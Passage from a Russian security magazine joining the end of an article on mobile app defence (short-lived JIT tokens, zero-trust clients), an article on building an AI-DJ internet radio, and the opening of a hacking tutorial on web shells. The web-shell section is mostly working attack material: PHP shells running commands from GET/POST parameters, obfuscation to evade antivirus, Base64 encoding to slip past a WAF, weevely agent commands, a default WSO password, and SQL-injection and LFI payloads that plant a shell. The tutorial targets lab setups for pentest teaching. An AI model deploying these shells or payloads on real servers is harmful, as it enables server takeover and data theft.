 — токен привязан к уникальному идентифика‐

тору транзакции, который был сгенерирован сервером и передан клиенту.
Повторное использование токена с другим nonce невозможно.

• Transaction-specific nonce

  — запрос с  JIT-токеном подписан ключом, который ата‐
кующий физически не может извлечь (например, хранится в Secure Enclave
или Trusted Execution Environment).

• Request signing

В результате окно для  злоупотребления сокращается с  недель и  месяцев
(при компрометации статического токена) до  секунд или  минут (при перех‐
вате JIT-токена). Для  массовых автоматизированных атак это  часто делает
всю операцию экономически бессмысленной.

Связка JIT-токенов с другими мерами защиты
JIT-токены — мощный инструмент, но не серебряная пуля. Их эффективность
резко возрастает при комбинировании с другими практиками.

Мера защиты Роль в связке с JIT-токенами

TLS + Certificate Pinning Защита от перехвата токена в сетевом тра‐

фике (даже с учетом обходимости pinning

через Frida — это создает дополнительный

шаг для атакующего)

Device Attestation (Play Integrity / App Attest) Сервер убеждается, что запрос приходит

от легитимного приложения, а не от скрипта

злоумышленника, имитирующего клиент

Rate Limiting на эндпоинте выдачи JIT Предотвращает массовый перебор и автомати‐

зированные запросы на получение токенов

Аномалийный анализ поведения Сервер отслеживает подозрительные пат‐

терны: слишком частые запросы JIT, запросы

с одного устройства на разные аккаунты и так

далее

RASP на клиенте Затрудняет работу Frida и отладчика, давая

серверу дополнительное время на реакцию

Важно подчеркнуть: все эти меры не  делают взлом невозможным. Высоко‐
мотивированный атакующий с ресурсами и временем все равно найдет спо‐
соб обойти их. Но это снова меняет экономику атаки: злоумышленник вынуж‐
ден решать сложную задачу в реальном времени для каждой отдельной опе‐
рации. Для большинства практических сценариев мобильного фрода это ста‐
новится непреодолимым барьером.

Практические рекомендации
Что перестать делать

 Обфуска‐
ция замедляет, но  не останавливает атакующего с  LLM и  Frida. Ее роль
теперь — создание «трения», а не «стены».

• Рассчитывать на обфускатор как на основной слой защиты.

 Любой захардкоженный ключ,

длительный токен или  «секретная» строка будут извлечены. Период
полураспада такого секрета в  2026  году измеряется часами после
попадания приложения в руки злоумышленника.

• Хранить статические секреты в клиенте.

 Если сер‐
вер не перепроверяет скидку, лимит или право доступа, рано или поздно
это будет использовано для фрода.

• Принимать критичные бизнес‑решения только на клиенте.

Что начать делать обязательно

 Для  критичных операций

(платежи, изменение привилегий) TTL должен быть не более 60 с.

• Внедрять JIT-токены с  минимальным TTL.

 Device ID, transaction nonce, request

signature — все это резко сужает окно возможностей для злоумышленника.

• Привязывать токены к  контексту.

 Исходи

из  предположения, что клиентский код полностью скомпрометирован
и известен атакующему.

• Строить архитектуру вокруг принципа Zero Trust для клиента.

 Тестировщики должны использовать LLM и Frida, чтобы можно

было понимать реальную картину угроз, а  не теоретическую модель
пятилетней давности.

• Регулярно проводить пентесты с использованием современных инс‐

трументов.

 Разработчики должны понимать,

как  работают инструменты атакующих. JADX, Frida и  LLM-декомпиляторы
не должны быть для них черной магией.

• Обучать команду разработки.

ЧТО БУДЕТ ЧЕРЕЗ 3–5 ЛЕТ

Траектория развития технологий просматривается достаточно ясно. LLM про‐
должат интегрироваться с инструментами реверс‑инжиниринга на все более
глубоком уровне. Уже сегодня мы видим MCP-серверы для  JADX, Ghidra
и Frida. Через несколько лет ИИ‑ассистент в декомпиляторе станет такой же
привычной вещью, как автодополнение кода в IDE.

С другой стороны, индустрия защиты неизбежно ответит. Мы увидим мас‐
совое внедрение JIT-подходов к авторизации, развитие RASP и аттестацион‐
ных механизмов. Возможно появление «ИИ‑защитников» — систем, которые
в  реальном времени модифицируют поведение приложения, запутывая
ИИ‑атакующего так же, как сегодня обфускаторы запутывают человека.

Оптимистичный сценарий: инструменты ИИ‑анализа становятся стан‐
дартом для  защитников и  общий уровень мобильной безопасности растет.
Пессимистичный: бизнес продолжает верить в магию обфускации, пока волна
инцидентов не заставит сменить парадигму.

Настоящий барьер сегодня  — это  архитектура, в  которой клиенту
не  доверяют, секреты живут секунды, а  критичные решения принимаются
только на сервере.

Эпоха статической защиты завершена. Добро пожаловать в эпоху рантай‐
ма! © X

https://prisminfosec.com/exploiting-mobile-apps-using-frida/#content
https://mas.owasp.org/MASTG/tools/generic/MASTG-TOOL-0038/
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Кто из нас хотя бы однажды не мечтал стать
диджеем на  радио? Эту мечту можно осу‐
ществить  — с  помощью собственной
интернет‑радиостанции, в  которой эфир
будет вести диджей с  искусственным
интеллектом. Он станет объявлять треки,
рассказывать об  исполнителях и  беседо‐
вать о  музыке. Как  все это  настроить
и запустить — в нашей сегодняшней статье.

Однажды вечером в одном из чатов я поинтересовался: нет ли у кого на при‐
мете сообществ, посвященных электронной музыке? В  тот момент очень
хотелось вплести в  ткань обыденности не  только сами треки, но  и живые
обсуждения  — что нового вышло, кому что нравится, интересные факты
о музыкантах.

Дискуссия не задалась, но один из участников скинул мне в приват ссылку
на  самопальную интернет‑радиостанцию. Минималистичный дизайн (вклю‐
чить‑выключить), простенькая визуализация, список треков и  — новая
для меня в этом жанре функция — возможность ставить лайки музыке прямо
в  эфире. Станцию я включил, но  через полтора часа она замолчала и  не
выходила в эфир еще очень долго.

Во время обсуждения всплыл интересный факт: сегодня довольно сложно
найти круглосуточное вещание, где, помимо музыки, был бы диджей, который
комментирует эфир, ведет умные беседы про  лейблы и  вспоминает годы
издания того или  иного шедевра. На  следующий день у  меня сформирова‐
лась идея — сделать собственную интернет‑радиостанцию с нейродиджеем.
В тот момент я еще точно не знал, насколько сложно это будет реализовать,
но примерную архитектуру уже представлял, так как успел поработать с каж‐
дым компонентом будущей станции по отдельности.

ИНДЕКСИРУЕМ КОЛЛЕКЦИЮ

В первую очередь мне понадобилось собрать базу данных из  тегов моей
музыкальной коллекции. То есть сделать ровно то, что делает большинство
популярных плееров при  сканировании директорий. Небольшой Python-
скрипт с библиотекой  создал базу данных (SQLite) с основной таб‐

лицей :

mutagen
tracks

• id
• title
• artist_id
• album
• year
• genre
• path

Вспомогательная таблица  содержала только ID и имя. В следующей
итерации нужно было создать механизм воспроизведения: сделать ран‐
домный запрос в  БД, вытащить трек и  путь до  него в  локальной файловой
системе, а  затем скормить этот путь плееру . В  атомарном виде
это  уже и  есть автоматическая система, электронный диджей. Не  хватало
только самого вещания, но об этом я пока не беспокоился — знал, что сущес‐
твует Icecast и проблем с ним быть не должно.

Artists

mpg123

МОЗГИ СТАНЦИИ: LLM И БОРЬБА С ГАЛЛЮЦИНАЦИЯМИ

Второй частью проекта был собственно сам диджей. Он должен выходить
в  эфир и  говорить о  музыке, причем желательно говорить правду, а  не гал‐
люцинировать и рассказывать именно о том треке, который сейчас звучит.

На локальном хосте у  меня была поднята LM Studio, которая впритык
поместилась в  4  Гбайт VRAM моей мобильной GTX 1650. У  LM Studio есть
функция сервера с совместимым OpenAI API. Я решил использовать ее прос‐
то потому, что она уже была настроена, но с таким же успехом можно взять

 или  .llama.cpp Ollama
Чтобы нейросеть не  высасывала факты из  пальца, промпт (помимо наз‐

вания трека и  артиста) нужно было обогатить реальными данными. На  ум
пришло несколько решений для  получения биографий музыкантов: Discogs,
MusicBrainz и  Deezer. Discogs оказался нерабочим вариантом (хотя в  других
обстоятельствах он идеален). MusicBrainz больше заточен под  классифика‐
цию жанров, а  Deezer вообще не  завелся, одарив меня загадочными сооб‐
щениями и вечной загрузкой страницы входа.

В итоге я вспомнил, с  чего вообще начинал свое знакомство
с интернет‑музыкой, и пошел на last.fm. Сайт открылся, пароль десятилетней
давности подошел, API-ключ выдался без проблем, а документация оказалась
предельно понятной. На нем и остановился.

Для получения информации ( ) я использовал два метода API: 

 для поиска по имени и   для получения данных по пер‐

вому совпадению. Ошибками на  этом этапе я решил пренебречь  — кол‐
лекция моя, большинство артистов я и  так знаю. Last.fm отдает в  формате
JSON ответ, из  которого я вытаскиваю биографию и  подмешиваю ее
в промпт к локальной LLM-модели .

Bio artist.
search artist.getinfo

mistralai/ministral-3-14b-reasoning

ГОЛОС: ЗАСТАВЛЯЕМ НЕЙРОСЕТЬ ГОВОРИТЬ

Модель Mistral работает на моем железе почти на грани разумного миниму‐
ма  — 5–6  токенов в  секунду (что примерно равно скорости слепой печати
текста). Понятно, что генерировать «отбивки» (реплики диджея) в  реальном
времени не выйдет. Поэтому запрос в LLM отправляется заранее, пока звучит
блок из 3–5 необъявляемых треков, случайно выбранных из базы.

Пока играет музыка, LLM генерирует текст на  основе тегов и  биографии
с  last.fm. Далее за  дело берется модель Text-to-Speech (TTS) . Пос‐

кольку оригинальная  англоязычная, я нашел на Hugging Face форк 
. Если попытаться озвучить русский текст чистой английской

моделью, результат выйдет плачевным — в ней просто нет весов для русских
фонем, и диджей заговорит с дичайшим акцентом.

f5-tts
f5-tts f5-

tts_russian

  — это  zero-shot-модель. Чтобы она заговорила нужным голосом,

ее не надо долго тренировать. Достаточно скормить ей аудиосемпл (10–20 с)
и  его текстовую транскрипцию. На  выходе получаем озвучку сгенерирован‐
ного текста нужным тембром. Семпл я нашел на  бирже актеров озвучки  —
взял голос с чистым британским акцентом. Мне хотелось, чтобы мой диджей
говорил по‑русски так, словно этот язык для него не совсем родной или нем‐
ного подзабытый. И  это было правильное решение: треки в  коллекции
в основном англоязычные, и их названия модель произносит безупречно.

F5-tts

ЭФИР: ICECAST, FFMPEG И МАГИЯ ПАЙПОВ

Пока радио работало локально, проблем не  возникало: треки крутились
по  очереди через , чанки нейроозвучки предварительно склеивались

в   и  запускались в  нужное время. Но  когда я решил вывести ради‐
останцию в глобальную сеть, начались нюансы.

mpg123
FFmpeg

Де‑факто стандартом для  таких задач считается Icecast. Он запускается
легко и  не требует долгой настройки, но  для стриминга по  HTTP ему нужен

 поток байтов. Это в корне не совпадало с моей моделью вос‐
произведения отдельных файлов. Если ничего не менять, после каждого тре‐
ка слушателям приходилось  бы перезагружать страницу, так как  поток пре‐
рывался бы вместе с концом файла.

непрерывный

Решением стал , который отлично умеет работать с  пайпами

(pipes). Я написал две функции. В  первой запускается непрерывный мас‐
тер‑процесс , который слушает , конвертирует сырой поток PCM

в MP3 и льет его на адрес Icecast (поднятый локально на порте 8000).

FFmpeg

FFmpeg stdin

Сырой PCM попадает в  мастер‑процесс от  декодера  — это  вторая фун‐
кция, которая на лету превращает очередной MP3-файл в PCM и отправляет
его по «трубе» прямо в   мастер‑процесса. Таким образом, критически
важное условие Icecast (непрерывный входящий поток) соблюдается, а фраг‐
ментарная природа локальных файлов изящно обрабатывается декодером.

stdin

Вот так это выглядит в коде:

   async def play_single_file(self, file_path):
        """Декодирует один файл и льет его в мастер-процесс."""

          abs_path = os.path.abspath(file_path)
             if not os.path.exists(abs_path) or not self.master_stream:

            return

        tty_log(f"[ON AIR] {os.path.basename(abs_path)}")

        # Распаковываем аудио в сырой PCM-звук
          cmd = [

            "ffmpeg",
             "-i", abs_path,
             "-f", "s16le",
             "-ar", "44100",
             "-ac", "2",

            "pipe:1",
        ]

        # Здесь происходит создание pipe и отправка данных в 
мастер-процесс через stdout

           decoder = await asyncio.create_subprocess_exec(
              *cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.

subprocess.DEVNULL
        )

        # Перекачиваем аудиоданные из декодера в мастер-процесс
        try:

             while True:
                     chunk = await decoder.stdout.read(16384) # Читаем 

по 16 Кбайт
                  if not chunk:

                      break # Файл закончился

                self.master_stream.stdin.write(chunk)
                   await self.master_stream.stdin.drain() # Ждем, пока 

мастер проглотит кусок
           except Exception as e:

            tty_log(f"[!] Ошибка при передаче аудио: {e}")

         await decoder.wait()

           if decoder.returncode != 0:
               await asyncio.sleep(0.5) # Защита от спама ошибками, 

если файл битый

ФРОНТЕНД В СТИЛЕ КИБЕРПАНКА

Раз полет фантазии ушел в  сторону интернета, без  фронтенда было уже
не  обойтись. Можно было оставить дефолтный браузерный плеер на  стра‐
нице Icecast, но хотелось эстетики. Характер коллекции (EBM, IDM, DarkSynth
с  вкраплениями чип‑тюна) определил выбор мгновенно: фасадом должен
стать терминал, интерфейс командной строки.

Для этого есть готовые решения  — например, библиотека ,

популярная в веб‑терминалах.

xterm.js

Она умеет обмениваться данными через WebSocket, а  внешний вид легко
стилизуется с помощью CSS. Я выбрал связку на базе Django, так как с ним
знаком лучше всего. Да, использовать Django для  такой задачи немного
избыточно, но  накладные расходы по  сравнению с  локальной генерацией
ИИ‑голоса просто мизерные.

Работает это так: основной процесс радио пишет текстовый лог в дирек‐
торию, а  бэкенд на  Django построчно читает этот лог и  пушит его через
WebSocket прямо в  мой веб‑терминал. При  желании можно настроить
еще  одно окошко терминала с  -окружением, чтобы любопытный слу‐

шатель мог прогуляться по  директориям с  музыкой с  помощью стандартных
Unix-команд. Но  так как  это требует отдельного аудита безопасности
(все‑таки это  мой основной рабочий хост, а  не виртуалка, которую можно
форматировать раз в неделю), эту фичу я пока отложил.

chroot

ДЕПЛОЙ: ПРОБИВАЕМ NAT

Последний шаг  — дать доступ внешним слушателям к  локальным сервисам
(Django-терминалу и аудиопотоку Icecast). Времена, когда можно было прос‐
то пробросить порты в  домашнем роутере, давно прошли: провайдерские
NAT’ы режут подключения извне, а за статический IP нужно платить (и иногда
еще и биться с поддержкой).

Сначала я протестировал аналоги  (выбор пал на  ). Все

завелось, но мне нужно было длительное вещание, а не ограниченные 15 мин
бесплатного тарифа. К тому же хотелось иметь постоянный домен. Поэтому я
стряхнул пыль со старенького микро-VPS, пробросил порт Django со своего
хоста прямо на  внешний  80-й порт сервера через SSH-туннель, а  к самому
серверу привязал доменное имя. Получился настоящий сайт, висящий на не
совсем предназначенной для этого технологии SSH.

ngrok tuna

Чуть позже пришло осознание критического недостатка такой архитек‐
туры. При подключении слушателей все их запросы уходят на мой локальный
хост через туннель. В итоге локальный Icecast отдает копию потока 
клиенту отдельно. Ширины моего домашнего канала не  хватит, чтобы
потянуть даже десять одновременных подключений.

каждому

Решение масштабирования очевидно: перенести Django-фронтенд на VPS
и поднять там же еще один инстанс Icecast. В таком сценарии мой локальный
сервер будет слать на VPS всего один поток, а уже сервер с его широченным
провайдерским каналом будет раздавать эфир всем желающим.

На этом пока всё. PoC (proof of concept) успешно работает: локальная пап‐
ка с  музыкой превратилась в  автономную интернет‑радиостанцию, где ИИ
ведет эфир. Возможностей для расширения полно — история треков, лайки/
дизлайки, расписание эфиров, чат. Надеюсь, ты узнал для себя что‑то полез‐
ное.

Для вдохновения на  собственный проект или  воспроизведения текущей
сборки прикладываю .ссылку на мой вариант станции

FM-приемник с личной станцией

Небольшое дополнение, которое появилось уже после создания проекта. Я
разветвил поток FFmpeg на  два: один, как  и прежде, отправляет данные
в  Icecast, второй — в FIFO (именованный канал), а оттуда его забирает GNU
Radio Companion с pipline для вещания в диапазоне FM (в пределах комнаты)
через HackRF. © X

mailto:stend003@yandex.ru
https://github.com/ta0ma0/neural_radiostation
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ВЗЛОМ

Сегодня я расскажу о  том, что такое
веб‑шеллы и  как их пишут. Посмотрим,
как  при атаках заливают шелл на  сервер,
получив RCE через другие уязвимости. Так‐
же посмотрим, как  логи сервера могут
превратиться в  веб‑шелл, выполняющий
любую команду.

WARNING

Статья имеет ознакомительный характер и пред‐
назначена для  специалистов по  безопасности,
проводящих тестирование в  рамках контракта.
Автор и  редакция не  несут ответственности
за  любой вред, причиненный с  применением
изложенной информации. Распространение вре‐
доносных программ, нарушение работы систем
и  нарушение тайны переписки преследуются
по закону.

Веб‑шелл (web-sell, веб‑оболочка)  — инструмент для  комфортного удален‐
ного выполнения кода на  сервере. Обычно это  скрипт, который работает
как  обычное веб‑приложение. Задача скрипта  — выполнить в  системе
отправленную пользователем команду и  вернуть результат. Скрипт пишется
на языке, который установлен на конкретном веб‑сервере.

Чаще всего это  скрипт на  PHP, так как  PHP  — самый распространенный
на  вебе серверный язык программирования. Но  веб‑шелл может быть
написан и  на любом другом языке: Python, JavaScript (Node.js), Java, Go
и прочих. Конкретная платформа зависит от того, как сконфигурирован сер‐
вер и какие интерпретаторы установлены.

Читая статьи про  веб‑шеллы, ты чаще всего встретишь формулировку
«вредоносная программа». На  самом деле веб‑шеллами пользуются и  для
администрирования серверов, чтобы не  коннектиться все время по  SSH
или RDP. Вредоносность появляется только в том случае, когда веб‑шелл заг‐
ружен на  сервер несанкционированно и  используется хакером для  захвата
контроля.

Простейший пример веб‑шелла на PHP:

<pre>
    <?php

         echo shell_exec($_GET['cmd']);
    ?>
</pre>

Скрипт получает GET-параметр  и  передает на  выполнение функции

. Функция  сообщает веб‑серверу, что нужно

выполнить определенный код в  операционной системе. Результат выпол‐
нения возвращается на веб‑страницу. Обертка  нужна, чтобы

вывод был читаемым, а не сваленными в кучу символами.

cmd
shell_exec() shell_exec()

<pre>...</pre>

Давай на практическом примере посмотрим, как это работает. Для этого
сохрани пример веб‑шелла в  файл  и  запусти Docker-контейнер,
примонтировав папку. Выполни команду

shell.php

  docker run --rm -p 8080:80 -v $(pwd):/var/www/html php:8.2-apache

В Windows PowerShell могут потребоваться кавычки:

docker run --rm -p 8080:80 -v "${PWD}:/var/www/html" php:8.2-apache

После запуска контейнера открой в браузере такой URL:

http://localhost:8087/shell.php?cmd=ls%20-la

На странице увидишь классическую работу .ls -la
Попробуй вместо  команды вроде , ,  или любые

другие команды операционной системы.

ls -la whoami id uname -a

В Windows могут возникнуть проблемы с  запуском. Штатный защитник,
видя в файле  или  , клас‐
сифицирует файл как  вредоносный и  удаляет его. Банальная обфускация
решит проблему:

shell_exec($_GET['cmd']) system($_GET['cmd'])

<pre>
    <?php

          $f = "shel"."l_"."exec";
         echo $f($_GET['cmd']);

    ?>
</pre>

GET-параметры  — неплохой вариант для  начала, но  не самый удобный.
Для  комфортной работы попробуй альтернативу со  строкой ввода и  POST-
запросом:

 <form method="POST">
       <input type="text" name="cmd" placeholder="Enter command">
     <button type="submit">Execute</button>
</form>
<pre>
<?php

  $f = "shel"."l_"."exec";
 echo $f($_POST['cmd']);

?>
</pre>

Сохрани файл как   и протестируй .
Теперь ты можешь комфортно отправлять любые команды и  не париться
по поводу того, что забыл где‑то исправить пробел на  .

shell2.php http://localhost:8080/shell2.php

%20

ОБХОД ЗАЩИТЫ

Плюс веб‑шелла в том, что он выполняется в контексте веб‑приложения. Тебе
не  нужно создавать отдельный коннект, а  значит, отпадает необходимость
обхода файрвола. Но файрвол — это только один из способов защиты.

В Docker наш проект полностью открыт атакам. В реальной жизни на сер‐
вере может быть установлен Web Application Firewall (WAF), настроенный
на  блокировку запросов, содержащих системные команды. В  таких случаях
атакующему приходится придумывать способ обфускации (то есть скрытия),
который позволит обойти WAF. Поскольку тот чаще всего работает по  опре‐
деленным правилам, это вполне возможно.

Один из вариантов — использование кодировки Base64. Давай поправим
наш :shell2.php

 <form method="POST">
       <input type="text" name="cmd" placeholder="Enter command">
     <button type="submit">Execute</button>
</form>

<?php
  if (!empty($_POST['cmd'])) {

      $encoded = $_POST['cmd'];
         if (base64_decode($encoded, true) !== false) {

           $command = base64_decode($encoded, true);
          $f = "shel"."l_"."exec";

         echo "<b>Base64 value:</b> $encoded</br>";
         echo "<b>Command:</b> $command</br>";
         echo "<pre>";
         echo $f($command);
         echo "</pre>";

      } else {
         echo "Invalid base64 input";

    }
}
?>

Такой метод уже гораздо круче, но  отдельно кодировать каждую команду
неудобно. Добавь в файл обработчик на JavaScript:

  <form method="POST" onsubmit="encodeCmd()">
       <input type="text" id="cmd_input" placeholder="Enter command">
       <input type="hidden" name="cmd" id="cmd_encoded">
     <button type="submit">Execute</button>
</form>

<script>
  function encodeCmd() {

       const input = document.getElementById('cmd_input').value;
       const encoded = btoa(input);
      document.getElementById('cmd_encoded').value = encoded;
}
</script>

При вводе команды в  скрытое поле  попадает значение, кодированное

в Base64 через . Такой подход не требует отдельной обработки саб‐
мита формы. Просто на лету формируется нужная строка.

cmd
btoa()

Пример работы с командой, закодированной в Base64

Обфускация через Base64  — это  один из  примеров, и  довольно простой.
Иногда лучше работает функция , которая преобразует числовое зна‐
чение символа в символ. Есть вариант разбивать строку Base64 на несколько
частей и  сохранять промежуточное значение где‑нибудь в  файле. Только
не  забудь как‑то помечать начало новой команды, чтобы можно было сбро‐
сить ошибки.

chr()

SHELL-ФУНКЦИИ

Вся работа шелла построена на  выполнении команд в  операционной сис‐
теме. В  примере я использовал функцию . Это  не единствен‐

ный вариант. В  PHP есть: , , , ,

. Каждая функция имеет свои плюсы и  минусы с  точки зрения
использования, но  в контексте веб‑шелла речь скорее про  обход ограниче‐
ний на сервере. Админ может в   запретить вызов функций, перечис‐

лив их в  . Формально функция сохранится и  будет дос‐
тупна для  вызова, но  любая попытка вызова приведет к  фатальной ошибке.
Поэтому нужно понять, как  использовать каждую из  функций в  рамках
веб‑шелла.

shell_exec()
system() passthru() exec() popen()

proc_open()

php.ini
disable_functions

INFO

Учитывай, что я сильно упрощаю описание фун‐
кций, чтобы не  перегружать статью лишними
деталями.

Чаще всего блокируют функции , , 

и  . Но  есть смысл тестировать каждую из  них. Принципиальная раз‐

ница между ними в возврате результата:

shell_exec() system() passthru()
exec()

 возвращает вывод в виде строки, поэтому в коде исполь‐
зовал , чтобы результат оказался на  странице. Сигнатура:

;

• shell_exec()
echo

shell_exec(string $command): string|false|null
 вернет только последнюю строчку вывода. Поэтому работа

с   слегка вслепую. Исправить ситуацию можно, передав вторым
параметром указатель на переменную ( ), куда функция поместит
вывод. Сигнатура: 

;

• exec()
exec()

&$output
exec(string $command, array &$output =

null, int &$result_code = null): string|false
 пишет сразу в    — это  прямой вывод в  респонс, нет

необходимости добавлять  или  другие функции вывода. Сигнатура:

;

• system() stdout
echo

system(string $command, int &$result_code = null):
string|false

 тоже сразу пишет в  , но  в виде байтов. Сигнатура:

.

• passthru() stdout
passthru(string $command, int &$result_code = null): ?
false

В PHP функция  открывает процесс как поток (stream) — почти так же,

как   открывает файл. Разница в том, что вместо файла ты получаешь
доступ к вводу или выводу запущенной команды.

popen()
fopen()

Сигнатура вызова: . Пример

веб‑шелла:

popen(string $command, string $mode)

<?php

        $cmd = $_GET['cmd'] ?? 'id';
    // Добавляем к команде перенаправление stderr в stdout, чтобы 
видеть ошибки
         $handle = popen($cmd . ' 2>&1', 'r');
      if ($handle) {
        // Читаем так же, как из файла

          while (!feof($handle)) {
              echo fread($handle, 4096);

        }
        pclose($handle);
    }

Самая крутая и мощная функция — это  . При ее помощи можно
создать псевдоинтерактивный веб‑шелл. Пример:

proc_open()

<?php

    $cmd = $_GET['cmd'] ?? 'id';
  $descriptorspec = [

         0 => ["pipe", "r"], // stdin
         1 => ["pipe", "w"], // stdout
          2 => ["pipe", "w"] // stderr
];

    $process = proc_open($cmd, $descriptorspec, $pipes);

  if (is_resource($process)) {
    // Закрываем stdin, если не пишем
    fclose($pipes[0]);
     echo '<pre>';
     echo stream_get_contents($pipes[1]);
       echo "\n--- STDERR ---\n" . stream_get_contents($pipes[2]);
     echo '</pre>';
    fclose($pipes[1]);
    fclose($pipes[2]);
    proc_close($process);
}

ГОТОВЫЕ ВЕБ-ШЕЛЛЫ

Сообщество пентестеров создало сотни готовых веб‑шеллов. Зачем писать
свой с нуля, если кто‑то уже сделал красивую панельку с кнопочками? Но вот
тут сразу большой жирный минус.

Используя чужой шелл, особенно популярный, ты с высокой вероятностью
подцепишь бэкдор. Хакеры специально выкладывают «обновленные» версии
WSO, r57, c99 с зашитыми внутрь фишками: отправка куки, пароля или логов
себе на  сервер. Встречаются скрытые майнеры, которые включаются через
неделю, или просто реверс‑шеллы на чьи‑то тачки.

Представь: ты проводишь абсолютно легальный пентест по  контракту,
а  через месяц получаешь письмо от  заказчика: «А почему у  нас на  сервере
майнится Monero на китайский адрес?»

Предупреждаю тебя: используя готовые шеллы, будь готов к  неприят‐
ностям. Даже если репозиторий выглядит чистым  — проверь diff с  оригина‐
лом, поищи подозрительные , curl на  внешние

адреса. Я не  беру на  себя никакой ответственности. Все, что ты зальешь
и запустишь, — на твой страх и риск.

eval(base64_decode(...))

На GitHub можно найти целые коллекции веб‑шеллов, например
. Рекомендую покопаться в репозитории, посмотреть

исходники для более глубокого понимания.
sagsooz/Webshell-bypass

Приведу в пример несколько легендарных тулз, которые годами помогают
в пентесте и не только.

ROME SHELL

Это маленький приятный веб‑шелл без  лишних функций. Поддерживает
защиту паролем. А защита веб‑шеллам нужна, без нее твой шелл может найти
и захватить коллега по цеху. Находят шеллы обычным перебором каталогов.
Иногда бывают курьезы и  поисковики индексируют скрипт как  легитимную
страницу сайта. В таком случае веб‑шелл можно найти через обычный дорк.

Пример Rome Shell

В левой части  — файлы и  папки текущей директории. При  помощи левого
меню можно перемещаться по папкам сервера. Справа подобие терминала.
Внизу командная строка, выше вывод. Поддерживает загрузку файлов.

В  выложены две версии скрипта: открытый код
и  обфусцированная версия. Открытый код свободно палится системами
защиты.

репозитории проекта

WSO (Web Shell by oRb и его клоны)
Один из самых известных и до сих пор живых PHP-шеллов. Красивая панель‐
ка, почти как админка хостинга.

Панель веб‑шелла WSO

Продолжение статьи →

https://t.me/ret0x2A
http://localhost:8080/shell2.php
https://github.com/sagsooz/Webshell-bypass
https://github.com/Caesarovich/rome-webshell


ВЕБ-ШЕЛЛЫ

С САМОГО НАЧАЛА
КАК СЕРВЕРЫ ЗАХВАТЫВАЮТ

ЧЕРЕЗ ВЕБ-ПРИЛОЖЕНИЕ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Основные фичи:
файловый менеджер с drag & drop, chmod, массовым копипастом;•
консоль (выполнение команд разными функциями  —
system/exec/passthru — и обходами disable_functions);

•

SQL-менеджер (MySQL/PostgreSQL, дампы, brute);•
brute FTP/MySQL, back-connect, bind-shell;•
поиск файлов/текста по серверу, работа со строками, хеши;•
блокировка пауков  — если юзер‑агент  — Google, отдает  404 (полезно,
чтобы другие не находили твой шелл через Google);

•

маленький размер (65 Кбайт), выбор кодировки.•

Сейчас много модификаций: WSO 2.5, WSO-NG, «невидимки» с шифровани‐
ем. Многие свежие репозитории на GitHub — это либо старые версии, либо
версии, припудренные бэкдорами. Если берешь готовый веб‑шелл  — про‐
веряй обязательно. WSO подходит для  комфортной эксплуатации сервера,
когда уже есть загрузка файла и хочется GUI.

Ссылку на   я привожу скорее для  истории: он
не  запустится на  PHP 7  или  8. Внутри куча старых функций вроде

 или  подключения к  базе через . Зато

это  чистый код, который можно модифицировать и  получить рабочий шелл.
В большинстве случаев более новые версии будут обфусцированы.

классический WSO 2.5

set_magic_quotes_runtime mysql_

Есть , но  скачиваешь и  используешь на  свой страх.
По умолчанию установлен пароль .

новая версия WSO
Nfdh3@631q12

weevely3
Это серьезный инструмент для пентеста. Не просто шелл, а заряженная пуш‐
ка, как пишут разработчики. Входит в комплект инструментов Kali.

Эта тулза скорее бэкдор, для работы используется не браузер, а коннект
программы к своему агенту.

Результат коннекта через weevely3

При пентесте сначала генерируешь маленький зашифрованный агент (PHP-
файл) и заливаешь на цель.

weevely generate test123 wshell.php

Подключаешься через Python-клиент   — получаешь терминал
как SSH:

weevely.py

weevely http://localhost:8080/wshell.php test123

Тулза поддерживает около  30  мощных модулей для  работы. Вот некоторые
примеры:

выполнение команд даже при   (креативные обходы);• disable_functions
SQL-консоль + pivoting;•
прокси через цель;•
reverse/bind shells, запуск Meterpreter;•
скан портов, поиск паролей, модули эскалации привилегий.•

Модули динамически подгружаются, сам агент крошечный.
Чтобы подробнее познакомиться с  модулями, после коннекта к  агенту

используй команду . Двоеточием ты даешь понять, что хочешь работать
с модулями.

:help

Работа через  максимально тихая. Трафик обфусцирован, сиг‐

натур почти нет. Идеально для долгосрочного доступа.

weevely

КАК ЗАЛИТЬ ВЕБ-ШЕЛЛ НА СЕРВЕР

Веб‑шелл  — это  не метод атаки, а  способ превратить уязвимость в  Remote
Code Execution. Чтобы залить шелл, тебе нужна какая‑то уязвимость
с записью в файл. Наиболее простой вариант — это небезопасная загрузка
файла. Загрузил файл и пользуешься.

Для демонстрации запустим DVWA:

  docker run --rm -it -p 80:80 vulnerables/web-dvwa

Зайди на  , используй  для  входа. Жми
Setup/Reset DB. Заново авторизуйся с  кредами . В  меню

слева найди File Upload, это раздел, связанный с уязвимостью загрузки фай‐
лов. Выбери файл с любым веб‑шеллом и загрузи его на сервер. В ответ при‐
ложение выдаст путь к загруженному файлу. Добавь его к URL. Итоговый URL
будет выглядеть как‑то так:

http://localhost admin/admin
admin/password

http://localhost/hackable/uploads/shell.php

Еще вариант  — записать шелл в  веб‑директорию через SQL Injection. Если
база данных висит на том же сервере и пользователь имеет права на запись
через , выполни подобную команду:INTO OUTFILE

  SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/
shell.php'

SQL Injection бывает полезна не  только возможностью записи файла.
На  одном таргете у  меня была самописная система управления контентом.
Веб‑приложение охватывало несколько доменов, каждый из которых работал
с  собственным сервером. Система раскидывала контент по  этим доменам
через FTP. Данные для подключения хранились в открытом виде в базе. Само
приложение было уязвимо к SQL Injection. Мне не составило никакого труда
вытащить данные из базы, подключиться к FTP и залить веб‑шелл.

Часто для  загрузки веб‑шелла используется Local File Inclusion и  Remote
File Inclusion. Если доступны врапперы, есть вариант подгрузить шелл подоб‐
ным способом:

?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/
Pg==&c=id

Подразумевается, что из  параметра  значение напрямую передается

в функцию . Через  передаем такую строку:

page
include data://

  <?php system($_GET['c']); ?>

В параметре  прописана системная команда, которую PHP будет искать

после работы враппера.

&c

Если врапперы недоступны, но  есть Remote File Inclusion, тебе нужно
поместить шелл на свой сервер. Шелл должен быть в виде текстового файла
с блоком кода . Тогда веб‑приложение подгрузит текст и выпол‐
нит код веб‑шелла.

<?php...?>

Что делать, если есть только ? Попробуй интерес‐

ный хук через лог сервера. Код веб‑шелла отправляется в  . После

лог инклудится через  на страницу сайта.

Local File Inclusion
User-Agent

LFI
Чтобы на практике посмотреть, как это работает, создадим :Dockerfile

FROM php:8.2-apache

